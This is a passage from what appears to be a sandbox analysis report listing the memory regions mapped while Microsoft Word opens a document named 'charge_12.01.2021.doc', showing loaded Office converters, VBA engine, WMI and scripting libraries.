entry_point = 0x66a8c742
region_type = mapped_file
name = "wpft532.cnv"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\wpft532.cnv")
Region:
id = 503
start_va = 0x66a50000
end_va = 0x66a6ffff
monitored = 0
entry_point = 0x66a5c7d4
region_type = mapped_file
name = "msconv97.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\msconv97.dll")
Region:
id = 504
start_va = 0xf500000
end_va = 0xf8fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000f500000"
filename = ""
Region:
id = 505
start_va = 0x8520000
end_va = 0x859ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "charge_12.01.2021.doc"
filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\charge_12.01.2021.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\charge_12.01.2021.doc")
Region:
id = 506
start_va = 0x66a70000
end_va = 0x66aaefff
monitored = 0
entry_point = 0x66a94c50
region_type = mapped_file
name = "wpft632.cnv"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\wpft632.cnv")
Region:
id = 507
start_va = 0x66a50000
end_va = 0x66a6ffff
monitored = 0
entry_point = 0x66a5c7d4
region_type = mapped_file
name = "msconv97.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\msconv97.dll")
Region:
id = 508
start_va = 0xf500000
end_va = 0xf8fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000f500000"
filename = ""
Region:
id = 509
start_va = 0x1150000
end_va = 0x1158fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "charge_12.01.2021.doc"
filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\charge_12.01.2021.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\charge_12.01.2021.doc")
Region:
id = 510
start_va = 0xf500000
end_va = 0xf8fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000f500000"
filename = ""
Region:
id = 511
start_va = 0x8520000
end_va = 0x859ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "charge_12.01.2021.doc"
filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\charge_12.01.2021.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\charge_12.01.2021.doc")
Region:
id = 512
start_va = 0x66a70000
end_va = 0x66aa1fff
monitored = 0
entry_point = 0x66a8c742
region_type = mapped_file
name = "wpft532.cnv"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\WPFT532.CNV" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\wpft532.cnv")
Region:
id = 513
start_va = 0x66a50000
end_va = 0x66a6ffff
monitored = 0
entry_point = 0x66a5c7d4
region_type = mapped_file
name = "msconv97.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\msconv97.dll")
Region:
id = 514
start_va = 0xf500000
end_va = 0xf8fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000f500000"
filename = ""
Region:
id = 515
start_va = 0x8520000
end_va = 0x859ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "charge_12.01.2021.doc"
filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\charge_12.01.2021.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\charge_12.01.2021.doc")
Region:
id = 516
start_va = 0x66a70000
end_va = 0x66aaefff
monitored = 0
entry_point = 0x66a94c50
region_type = mapped_file
name = "wpft632.cnv"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\WPFT632.CNV" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\wpft632.cnv")
Region:
id = 517
start_va = 0x66a50000
end_va = 0x66a6ffff
monitored = 0
entry_point = 0x66a5c7d4
region_type = mapped_file
name = "msconv97.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\TEXTCONV\\MSCONV97.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\textconv\\msconv97.dll")
Region:
id = 518
start_va = 0xf500000
end_va = 0xf8fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000f500000"
filename = ""
Region:
id = 519
start_va = 0x1150000
end_va = 0x1158fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "charge_12.01.2021.doc"
filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\charge_12.01.2021.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\charge_12.01.2021.doc")
Region:
id = 520
start_va = 0xf500000
end_va = 0xf8fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000f500000"
filename = ""
Region:
id = 521
start_va = 0x8520000
end_va = 0x859ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "charge_12.01.2021.doc"
filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\charge_12.01.2021.doc" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\charge_12.01.2021.doc")
Region:
id = 522
start_va = 0xf500000
end_va = 0xf8fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000f500000"
filename = ""
Region:
id = 523
start_va = 0xf500000
end_va = 0xf8fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000f500000"
filename = ""
Region:
id = 524
start_va = 0x8520000
end_va = 0x859ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "~wrf{0949dacf-88c2-4215-976b-7ab24d44c533}.tmp"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Word\\~WRF{0949DACF-88C2-4215-976B-7AB24D44C533}.tmp" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\content.word\\~wrf{0949dacf-88c2-4215-976b-7ab24d44c533}.tmp")
Region:
id = 525
start_va = 0x66830000
end_va = 0x66aaefff
monitored = 1
entry_point = 0x668cbfb8
region_type = mapped_file
name = "vbe7.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\vbe7.dll")
Region:
id = 526
start_va = 0x66770000
end_va = 0x6682efff
monitored = 0
entry_point = 0x66781dfc
region_type = mapped_file
name = "msvcr100.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\SystemX86\\msvcr100.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\systemx86\\msvcr100.dll")
Region:
id = 527
start_va = 0xa650000
end_va = 0xa76ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a650000"
filename = ""
Region:
id = 528
start_va = 0x1150000
end_va = 0x115ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000001150000"
filename = ""
Region:
id = 529
start_va = 0x1150000
end_va = 0x115ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000001150000"
filename = ""
Region:
id = 530
start_va = 0x1150000
end_va = 0x1153fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 531
start_va = 0x83a0000
end_va = 0x83e4fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db")
Region:
id = 532
start_va = 0x1170000
end_va = 0x1173fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 533
start_va = 0xa650000
end_va = 0xa6ddfff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db")
Region:
id = 534
start_va = 0xa760000
end_va = 0xa76ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a760000"
filename = ""
Region:
id = 535
start_va = 0xf900000
end_va = 0xfcfafff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000f900000"
filename = ""
Region:
id = 536
start_va = 0x83f0000
end_va = 0x83f1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000083f0000"
filename = ""
Region:
id = 537
start_va = 0x85a0000
end_va = 0x85a1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000085a0000"
filename = ""
Region:
id = 538
start_va = 0x85b0000
end_va = 0x85b0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000085b0000"
filename = ""
Region:
id = 539
start_va = 0xd000000
end_va = 0xd0dffff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "arial.ttf"
filename = "\\Windows\\Fonts\\arial.ttf" (normalized: "c:\\windows\\fonts\\arial.ttf")
Region:
id = 540
start_va = 0x9960000
end_va = 0x9b5ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009960000"
filename = ""
Region:
id = 541
start_va = 0xfd00000
end_va = 0x101f1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000fd00000"
filename = ""
Region:
id = 542
start_va = 0x10200000
end_va = 0x109fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000010200000"
filename = ""
Region:
id = 543
start_va = 0x66650000
end_va = 0x6676bfff
monitored = 0
entry_point = 0x666b74f0
region_type = mapped_file
name = "uiautomationcore.dll"
filename = "\\Windows\\SysWOW64\\UIAutomationCore.dll" (normalized: "c:\\windows\\syswow64\\uiautomationcore.dll")
Region:
id = 544
start_va = 0x85b0000
end_va = 0x85b0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000085b0000"
filename = ""
Region:
id = 545
start_va = 0x9b60000
end_va = 0x9c04fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009b60000"
filename = ""
Region:
id = 546
start_va = 0x9c10000
end_va = 0x9d0ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009c10000"
filename = ""
Region:
id = 547
start_va = 0x10a00000
end_va = 0x10dbcfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000010a00000"
filename = ""
Region:
id = 548
start_va = 0x10dc0000
end_va = 0x1117cfff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000010dc0000"
filename = ""
Region:
id = 549
start_va = 0x85c0000
end_va = 0x85cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000085c0000"
filename = ""
Region:
id = 550
start_va = 0x85d0000
end_va = 0x85dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000085d0000"
filename = ""
Region:
id = 551
start_va = 0x85e0000
end_va = 0x85effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000085e0000"
filename = ""
Region:
id = 552
start_va = 0x85e0000
end_va = 0x85effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000085e0000"
filename = ""
Region:
id = 553
start_va = 0x9d10000
end_va = 0x9dacfff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009d10000"
filename = ""
Region:
id = 554
start_va = 0x85e0000
end_va = 0x85effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000085e0000"
filename = ""
Region:
id = 555
start_va = 0x9db0000
end_va = 0x9dbffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009db0000"
filename = ""
Region:
id = 556
start_va = 0x9dc0000
end_va = 0x9dcffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009dc0000"
filename = ""
Region:
id = 557
start_va = 0x9dc0000
end_va = 0x9dcffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009dc0000"
filename = ""
Region:
id = 558
start_va = 0x9dd0000
end_va = 0x9ddffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009dd0000"
filename = ""
Region:
id = 559
start_va = 0x9de0000
end_va = 0x9deffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009de0000"
filename = ""
Region:
id = 560
start_va = 0x76000000
end_va = 0x76004fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "normaliz.dll"
filename = "\\Windows\\SysWOW64\\normaliz.dll" (normalized: "c:\\windows\\syswow64\\normaliz.dll")
Region:
id = 561
start_va = 0x9dc0000
end_va = 0x9dd1fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "normidna.nls"
filename = "\\Windows\\System32\\normidna.nls" (normalized: "c:\\windows\\system32\\normidna.nls")
Region:
id = 562
start_va = 0x9de0000
end_va = 0x9de6fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009de0000"
filename = ""
Region:
id = 563
start_va = 0xd0e0000
end_va = 0xd1dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000d0e0000"
filename = ""
Region:
id = 564
start_va = 0x66640000
end_va = 0x6664cfff
monitored = 0
entry_point = 0x66643520
region_type = mapped_file
name = "wbemprox.dll"
filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll")
Region:
id = 565
start_va = 0x665d0000
end_va = 0x66636fff
monitored = 0
entry_point = 0x665eb610
region_type = mapped_file
name = "wbemcomn.dll"
filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll")
Region:
id = 566
start_va = 0x9df0000
end_va = 0x9df3fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 567
start_va = 0x9e00000
end_va = 0x9e00fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000009e00000"
filename = ""
Region:
id = 568
start_va = 0x665c0000
end_va = 0x665cafff
monitored = 0
entry_point = 0x665c2150
region_type = mapped_file
name = "linkinfo.dll"
filename = "\\Windows\\SysWOW64\\linkinfo.dll" (normalized: "c:\\windows\\syswow64\\linkinfo.dll")
Region:
id = 569
start_va = 0x9e00000
end_va = 0x9e00fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000009e00000"
filename = ""
Region:
id = 570
start_va = 0x664f0000
end_va = 0x665b8fff
monitored = 0
entry_point = 0x66503180
region_type = mapped_file
name = "ntshrui.dll"
filename = "\\Windows\\SysWOW64\\ntshrui.dll" (normalized: "c:\\windows\\syswow64\\ntshrui.dll")
Region:
id = 571
start_va = 0x664d0000
end_va = 0x664ebfff
monitored = 0
entry_point = 0x664d4720
region_type = mapped_file
name = "srvcli.dll"
filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll")
Region:
id = 572
start_va = 0x664b0000
end_va = 0x664c0fff
monitored = 0
entry_point = 0x664b8fa0
region_type = mapped_file
name = "wbemsvc.dll"
filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll")
Region:
id = 573
start_va = 0x664a0000
end_va = 0x664aefff
monitored = 0
entry_point = 0x664a3f00
region_type = mapped_file
name = "cscapi.dll"
filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll")
Region:
id = 574
start_va = 0x663e0000
end_va = 0x6649efff
monitored = 0
entry_point = 0x66411e80
region_type = mapped_file
name = "fastprox.dll"
filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll")
Region:
id = 575
start_va = 0x9e10000
end_va = 0x9e10fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000009e10000"
filename = ""
Region:
id = 576
start_va = 0x11180000
end_va = 0x11280fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011180000"
filename = ""
Region:
id = 577
start_va = 0x11180000
end_va = 0x11280fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011180000"
filename = ""
Region:
id = 578
start_va = 0x11180000
end_va = 0x11280fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011180000"
filename = ""
Region:
id = 579
start_va = 0x9e10000
end_va = 0x9e10fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000009e10000"
filename = ""
Region:
id = 580
start_va = 0x11180000
end_va = 0x11280fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011180000"
filename = ""
Region:
id = 581
start_va = 0x11180000
end_va = 0x11280fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011180000"
filename = ""
Region:
id = 582
start_va = 0x70070000
end_va = 0x700b0fff
monitored = 0
entry_point = 0x70077fe0
region_type = mapped_file
name = "dataexchange.dll"
filename = "\\Windows\\SysWOW64\\DataExchange.dll" (normalized: "c:\\windows\\syswow64\\dataexchange.dll")
Region:
id = 583
start_va = 0x9e10000
end_va = 0x9e1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000009e10000"
filename = ""
Region:
id = 584
start_va = 0x66350000
end_va = 0x663d0fff
monitored = 0
entry_point = 0x6636b260
region_type = mapped_file
name = "sxs.dll"
filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll")
Region:
id = 585
start_va = 0xd1e0000
end_va = 0xd2c0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "msword.olb"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\MSWORD.OLB" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\msword.olb")
Region:
id = 586
start_va = 0x11180000
end_va = 0x113a6fff
monitored = 1
entry_point = 0x1118e058
region_type = mapped_file
name = "vbeui.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\vbeui.dll")
Region:
id = 587
start_va = 0x66110000
end_va = 0x66340fff
monitored = 1
entry_point = 0x6611e058
region_type = mapped_file
name = "vbeui.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\vbeui.dll")
Region:
id = 588
start_va = 0x9e10000
end_va = 0x9e11fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000009e10000"
filename = ""
Region:
id = 589
start_va = 0x778a0000
end_va = 0x778e1fff
monitored = 0
entry_point = 0x778b6f10
region_type = mapped_file
name = "wintrust.dll"
filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll")
Region:
id = 590
start_va = 0x74640000
end_va = 0x7464dfff
monitored = 0
entry_point = 0x74645410
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")
Region:
id = 591
start_va = 0x749d0000
end_va = 0x74b47fff
monitored = 0
entry_point = 0x74a28a90
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")
Region:
id = 592
start_va = 0x9e20000
end_va = 0x9e2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000009e20000"
filename = ""
Region:
id = 593
start_va = 0x9e30000
end_va = 0x9e55fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "vbe7intl.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbe7intl.dll")
Region:
id = 594
start_va = 0xa6e0000
end_va = 0xa6eafff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "normnfd.nls"
filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls")
Region:
id = 595
start_va = 0xa6f0000
end_va = 0xa6fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000000a6f0000"
filename = ""
Region:
id = 596
start_va = 0xa6f0000
end_va = 0xa6f0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a6f0000"
filename = ""
Region:
id = 597
start_va = 0xa700000
end_va = 0xa71ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a700000"
filename = ""
Region:
id = 598
start_va = 0xa720000
end_va = 0xa722fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a720000"
filename = ""
Region:
id = 599
start_va = 0xa730000
end_va = 0xa733fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a730000"
filename = ""
Region:
id = 600
start_va = 0xa740000
end_va = 0xa740fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a740000"
filename = ""
Region:
id = 601
start_va = 0xa750000
end_va = 0xa750fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a750000"
filename = ""
Region:
id = 602
start_va = 0xa770000
end_va = 0xa773fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a770000"
filename = ""
Region:
id = 603
start_va = 0x11180000
end_va = 0x1119ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011180000"
filename = ""
Region:
id = 604
start_va = 0xa780000
end_va = 0xa782fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000a780000"
filename = ""
Region:
id = 605
start_va = 0x111a0000
end_va = 0x111b4fff
monitored = 1
entry_point = 0x1123bfb8
region_type = mapped_file
name = "vbe7.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\vbe7.dll")
Region:
id = 606
start_va = 0xb8b0000
end_va = 0xb8b4fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "stdole2.tlb"
filename = "\\Windows\\SysWOW64\\stdole2.tlb" (normalized: "c:\\windows\\syswow64\\stdole2.tlb")
Region:
id = 607
start_va = 0x111c0000
end_va = 0x111d0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "c_1251.nls"
filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls")
Region:
id = 608
start_va = 0x111e0000
end_va = 0x1125bfff
monitored = 0
entry_point = 0x111e1000
region_type = mapped_file
name = "mso.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso.dll")
Region:
id = 609
start_va = 0xd2d0000
end_va = 0xd2d3fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000000d2d0000"
filename = ""
Region:
id = 610
start_va = 0x11260000
end_va = 0x11263fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011260000"
filename = ""
Region:
id = 611
start_va = 0x11270000
end_va = 0x11273fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011270000"
filename = ""
Region:
id = 612
start_va = 0x11280000
end_va = 0x1129ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011280000"
filename = ""
Region:
id = 613
start_va = 0x112a0000
end_va = 0x112a2fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000112a0000"
filename = ""
Region:
id = 614
start_va = 0x112b0000
end_va = 0x112b5fff
monitored = 1
entry_point = 0x1134bfb8
region_type = mapped_file
name = "vbe7.dll"
filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\vbe7.dll")
Region:
id = 615
start_va = 0x112c0000
end_va = 0x112fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000112c0000"
filename = ""
Region:
id = 616
start_va = 0x11300000
end_va = 0x113fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011300000"
filename = ""
Region:
id = 617
start_va = 0x11400000
end_va = 0x11403fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011400000"
filename = ""
Region:
id = 618
start_va = 0x11410000
end_va = 0x11413fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011410000"
filename = ""
Region:
id = 619
start_va = 0x11420000
end_va = 0x1142ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011420000"
filename = ""
Region:
id = 620
start_va = 0x11430000
end_va = 0x1143ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011430000"
filename = ""
Region:
id = 621
start_va = 0x11440000
end_va = 0x1144ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011440000"
filename = ""
Region:
id = 622
start_va = 0x7fe80000
end_va = 0x7fe8ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fe80000"
filename = ""
Region:
id = 623
start_va = 0x11440000
end_va = 0x114e1fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000011440000"
filename = ""
Region:
id = 624
start_va = 0x114f0000
end_va = 0x114f1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000114f0000"
filename = ""
Region:
id = 625
start_va = 0x11500000
end_va = 0x11503fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mlang.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\mlang.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mlang.dll.mui")
Region:
id = 626
start_va = 0x11510000
end_va = 0x1190ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000011510000"
filename = ""
Region:
id = 627
start_va = 0x11910000
end_va = 0x1198ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000011910000"
filename = ""
Region:
id = 628
start_va = 0x11510000
end_va = 0x11510fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000011510000"
filename = ""
Region:
id = 629
start_va = 0x660e0000
end_va = 0x66102fff
monitored = 0
entry_point = 0x660e7b50
region_type = mapped_file
name = "wshom.ocx"
